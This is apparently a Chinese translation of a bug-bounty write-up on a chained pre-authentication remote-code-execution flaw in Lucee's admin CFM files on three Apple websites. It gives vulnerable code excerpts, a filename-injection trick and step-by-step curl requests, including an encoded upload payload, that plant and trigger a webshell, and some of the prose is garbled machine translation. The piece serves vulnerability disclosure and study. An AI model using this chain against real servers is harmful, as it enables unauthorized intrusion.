【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站

【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站

在本文中,国外安全研究人员 @rootxharsh 和 @iamnoob 发现,苹果的三个网站都部署了基于 lucee 的 CMS 应用程序。经过对 lucee 的安全测试,@rootxharsh 和 @iamnoob 发现 @iamnoob 在其中发现了 0Day 漏洞。通过构建和使用,可以在三个苹果网站上实现远程代码执行(RCE)。该漏洞最终获得了苹果公司 5 万美元的奖励。

在我们开始之前

在阅读了 Sam 发布的一系列针对苹果网站的漏洞测试报告之后,我们也开始为测试做准备。我们关注的是苹果网站的个人信息(PII)披露和内部网络架构,这应该也是苹果更关注的漏洞。

早期检测

经过一系列的网络应用识别和检测,我们发现苹果三家网站上运行的 CMS(内容管理系统)都是基于开源程序 lucee 开发的。由于 CMS 和 lucee 都是开源的,因此很容易构建本地测试环境,因此这三个网站似乎值得探索。从漏洞历史来看,lucee 已经公开了一些公共漏洞,还拥有一个管理员登录面板。此外,另一个类似的分支语言乐视网的 lucee 也被曝光了著名的白帽橘子蔡。

经过测试,可以访问这三个网站的 lucee 管理员登录面板,其中一个相对较新,另外两个稍旧。

https://facilities.apple.com/ (Recent version)
https://booktravel.apple.com/ (Older version)
https://booktravel-uat.apple.com/ (Older version)

苹果网站的 WAF 设置

来自部署新版 lucee 的网站设施。apple.com 一开始,为了进一步利用这个漏洞,我们需要知道苹果网站的 WAF 设置,更重要的是,我们需要知道设施。apple.com 当网站前端和后端之间的通信是交互式的时,会触发 WAF 规则。

苹果网站的 WAF 设置规则令人头痛。它几乎阻止了所有 URL 路径遍历和 SQL 注入尝试。网站设施。apple.com 服务器上的前端服务(反向代理服务)被配置为仅显示后端响应代码 200 或 404。即使请求后端服务器显示其他响应代码,前端服务上也只显示 403,这与其 WAF 触发规则一致。

Lucee 的不当配置问题

我们在本地构建了一个 Lucee/CMS 测试环境,无意中发现了其中的不当配置问题。攻击者可以利用这个问题直接访问受保护的 ColdFusion 标记语言文件(CFM),从而实现一些未经授权的操作。

连接 CFM 文件时,一旦请求。admintype 变量,因为我们不是管理员,执行过程将立即停止。为此,我们尝试测试变量请求。admintype 手术前,看会不会有漏洞。最后,我们使用以下三个文件在 lucee 安装环境中发现了一个预授权 / 未授权的远程代码执行漏洞(RCE):

imgProcess.cfm (稍旧版本中没有)
admin.search.index.cfm
ext.applications.upload.cfm

失败尝试

imgProcess.cfm文件中的远程代码执行漏洞(RCE)

为了模拟苹果网站中的运行环境,我们在本地安装了相同版本的Lucee。之后,在打开imgProcess.cfm文件时,苹果网站服务端抛出了403 Forbidden的响应,这也就是说,该文件是存在的,只不过被禁止访问而已。经过一番测试后我们才发现,这里需要指定正确的参数,否则就会导致服务端抛出403。如下错误参数:

【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站1
【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站2

经过分析,我们发现imgProcess.cfm文件中存在一个路径遍历漏洞,可以利用该漏洞以给定内容在服务器任意位置创建文件:

<cfoutput>
 <cffile action="write" 
 file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#__#url.file#"
 Output="#form.imgSrc#" 
 createPath="true">
</cfoutput> 

在文件创建过程中,会请求file参数,并利用命令{temp-directory}/admin-ext-thumbnails/__{our-input}生成文件,其中的our-input内容可通过上述带参imgSrc的POST请求来定义。

从以上代码__#url.file中可以看到,在对Linux系统的路径或文件遍历前,需要之前的目录(这里即__目录)是存在的,好在expandPath方法会创建__目录路径并以字符串形式返回。所以,上述方法函数在传递文件file=/../../../context/pwn.cfm的同时,就会创建__目录,可以对网站webroot根目录进行遍历,就形成了一个简单的RCE漏洞通道。

然而,即使有了这个RCE,但由于有WAF规则对请求参数中的../进行拦截,所以我们也不能直接形成漏洞利用。该功能中,imgProcess.cfm文件会以url.file和form.imgSrc为参数去调用创建文件,如果这两个参数都是形式化或POST请求的带参,那么就有可能不会触发WAF规则。这样的话,我们就能使用上述imgProcess.cfm文件RCE方法,在服务器中任意位置创建任意名称和内容的文件,而不触发WAF规则。

如何真正绕过WAF

在另一个文件admin.search.index.cfm,其功能是指定一个目录并把其中的文件内容拷贝到给定的其它目录中去。但是,我们发现其中的拷贝方法非常麻烦,它实际上并不会拷贝文件内容,也不会保留文件扩展名。该功能用到了两个参数:

dataDir
luceeArchiveZipPath

dataDir是需要给定的拷贝目的目录位置路径,它由调用参数luceeArchiveZipPath来实现。如果指定的目录位置路径不存在,就会新创建一个。这是一个创建绝对路径的方法,如下:

<cfif not directoryExists(dataDir)>
  <cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>

其文件创建的样例请求如下:

GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1
Host: facilities.apple.com
User-Agent: Mozilla/5.0 
Connection: close

由于该拷贝功能并不是标准的copy方法,因此,必须得深入研究一下其中的相关代码意图。之后,我们发现了一个有意思的ColdFusion标记语言(CFML)标签:

<cfdirectory action=”list” directory=”#luceeArchiveZipPath#” filter=”*.*.cfm” name=”qFiles” sort=”name” />

该条标记语言的大概意思是,它会列出luceeArchiveZipPath目录下的文件,其中的filter属性会过滤出*.*.cfm文件,并把最终结果存储在变量”qFiles” 中。接着,它会迭代变量currFile中的所有文件,并把其中带’.cfm’后缀的文件去除cfm后缀,然后把去除后缀的文件名存储在currAction变量中。比如,test.xyz.cfm会变成为test.xyz。

<cfset currAction = replace(qFiles.name, ‘.cfm’, ”) />

然后,代码流程会检查在dataDir目录中诸如 ‘test.xyz.en.txt’ 或 ‘test.xyz.de.txt’名称的文件,这里,dataDir变量是用户控制的。如果dataDir目录下确实存在如 ‘test.xyz.en.txt’ 或 ‘test.xyz.de.txt’名称的文件,则它就会把其中的 (‘.’) 替换为空白符,并把名称结果存储到pageContents.lng.currAction变量中。代码逻辑如下:

<cfif fileExists('#dataDir##currAction#.#lng#.txt')>
<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />
<cfelse>
<!--- make sure we will also find this page when searching for the file name--->
<cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " />
</cfif>

之后,如test.xyz.<lang>.txt文件中的内容即是变量pageContents.lng.currAction的值。然而,即使我们可以在服务器中任意位置创建任意内容(如.txt)的文件,但是,之后的测试证明,我们可以在其文件名上做点手脚,形成漏洞利用。之后,代码流程会存储data变量中的currFile文件内容,过滤出不符合正则表达式[””##]stText..+?[””##]的文件,并把结果存入finds数组中。

<cfset data = fileread(currFile) />
<cfset finds = rematchNoCase('[''"##]stText..+?[''"##]', data) />

接着,代码会对finds数组进行循环,检查其中每一项是否会存在结构化键值key,如果不存在,则会自己创建一个结构化键值key,并存储到searchresults变量中。

<cfloop array="#finds#" index="str">
 <cfset str = rereplace(listRest(str, '.'), '.$', '') />
  [..snip..]
  <cfif structKeyExists(translations.en, str)>
   <cfif not structKeyExists(searchresults[str], currAction)>
    <cfset searchresults[str][currAction] = 1 />
   <cfelse>
    <cfset searchresults[str][currAction]++ />
   </cfif>
  </cfif>
</cfloop>

最终,所有键值或searchresults变量内容会被再次转存到dataDir目录中一个名为”searchindex.cfm”的文件中,内容为JSON格式。

<cffile action=”write” file=”#dataDir#searchindex.cfm” charset=”utf-8″ output=”#serialize(searchresults)#” mode=”644″ />

facilities.apple.com网站中的远程代码执行漏洞(RCE)

至此,我们综合利用imgProcess.cfm 和 admin.search.index.cfm文件,在苹果网站https://facilities.apple.com是构造形成了一个RCE漏洞。另外,我们可以控制一个拷贝源目录(dataDir参数)和一个拷贝目的目录(luceeArchiveZipPath参数)。现在,如果我们在服务器任意位置创建一个名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的文件,其内容为”#stText.x.f#”。

那么,我们也就可以通过luceeArchiveZipPath参数把其文件路径传递到admin.search.index.cfm文件中。但由于文件server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的结构化文件名键值key是不存在的,代码就会自动创建一个并把key写入到名为searchindex.cfm的文件中。那也就是说,之后,我们就可以在dataDir参数帮助下,通过在服务器任意位置目录下,实现对searchindex.cfm file文件中的CFML标签(类似PHP标签)的控制,那也即,我们就可能通过控制网站服务器的根目录webroot来执行任意代码了!

我们先用imgProcess.cfm在目标网站文件系统中创建一个名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的文件,其内容符合正则表达式[””##]stText..+?[””##]。该操作由于不是执行路径遍历,因此不会触发WAF拦截规则。

获得网站代码执行Shell

1、创建文件名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm且内容匹配正则表达式”#stText.x.f#”的文件,由于网站后端tomcat会拦截某些字符,因此把其文件名进行URL编码,最终成型的POST请求如下:

curl -X POST ‘https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d’ –data ‘imgSrc=”#stText.Buttons.save#”‘

2、拷贝其文件名为代码执行做准备:

curl ‘http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/’

3、写入Shell代码以备后续触发代码执行操作:

curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell

4、访问webshell-https://facilities.apple.com/lucee/rootxharsh/PoC.cfm,成功!:

【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站3

另两个网站的RCE漏洞

现在,网站facilities.apple.com的RCE已经实现,但由于在旧版本Lucee中没有imgProcess.cfm文件,所以我们需要发现其它可以可以触发RCE的漏洞通道。果然,最终我们发现了一个有意思的方式。

未授权的.lex格式文件上传

经分析发现,文件ext.applications.upload.cfm可以实现部份未授权操作,其代码片段非常简单,需要把extfile形式参数的文件名扩展格式设置为 .lex,否则,就会抛出运行异常。

<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
 ...
</cfif>
<!--- try to upload (.zip and .re) --->
<cftry>
 <cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" />
 <cfif cffile.serverfileext neq "lex">
  <cfthrow message="Only .lex is allowed as extension!" />
 </cfif>
 <cfcatch>
  ...
 </cfcatch>
</cftry>

<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\]$', '')##server.separator.file##cffile.serverfile#" />

其对.lex格式文件的后续处理为:

<cfif cffile.serverfileext eq "lex">
...
        type="#request.adminType#"
...
</cfif>

由于我们未对request.admintype做过先前设置,因此,这里抛出运行异常。然而,在该步之前,我们的文件却仍然被成功上传了,可以从以下截图发现:

【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站4本来一个.lex格式文件也没什么,但这里的情况是,lex文件可以是zip压缩格式,是目标网站中我们可以成功上传的Lucee形式文件, 而且没有任何内容安全过滤限制,那我们就可以任意上传了。

漏洞利用

经过对Lucee的测试,我们了解它支持zip://, file:// 等协议形式,也即这里我们可在可控的luceeArchiveZipPath变量中指定这些协议形式,进行深入利用。重点是,我们可以用文件ext.applications.upload.cfm创建具备.lex扩展名后缀的文件,该文件内容匹配正则表达式”#stText.x.f#” ,且文件名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm。一旦我们的zip压缩格式文件创建在了网站服务器中,那么就能利用luceeArchiveZipPath变量中的zip://协议去请求其中包含*.*.cfm文件的ZIP格式存档了。

在另外两个网站服务端中实现RCE Shell

1、创建一个内容匹配”#stText.x.f#” ,且名为server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm的文件,把它zip打包为payload.lex。

【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站5

2、把payload.lex通过ext.applications.upload.cfm文件中的上传功能进行上传:

curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm

3、我们可以用zip://形式请求其中上传的payload.lex:

curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex

4、之后,我们的目标文件server.<cffile action=write file=#Url[‘f’]# output=#Url[‘content’]#>.cfm就会被以文本方式添加到位于网站根目录<lucee web>/context/exploit/下的searchindex.cfm文件中,即可实现对https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm
的请求;

5、然后,请求 https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell实现Shell代码写入;

6、最终形成了一个有效的Webshell-https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id,由于苹果网站中部署了很多负载均衡应用,因此,我们得通过Burp的intruder模块去反复测试触发我们的Shell:

【漏洞挖掘】他是如何发现Lucee 0day漏洞RCE掉三个苹果公司网站6

总结

苹果公司最终接收并修复了该漏洞,且要求我们在漏洞修复前不得披露该漏洞,最终我们收获了苹果公司$50,000的漏洞奖励。另外,我们也积极和Lucee官方联系,并通过限制对cfm文件的直接访问修复了其中存在的漏洞,这里应该会有一个CVE编号分配。

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论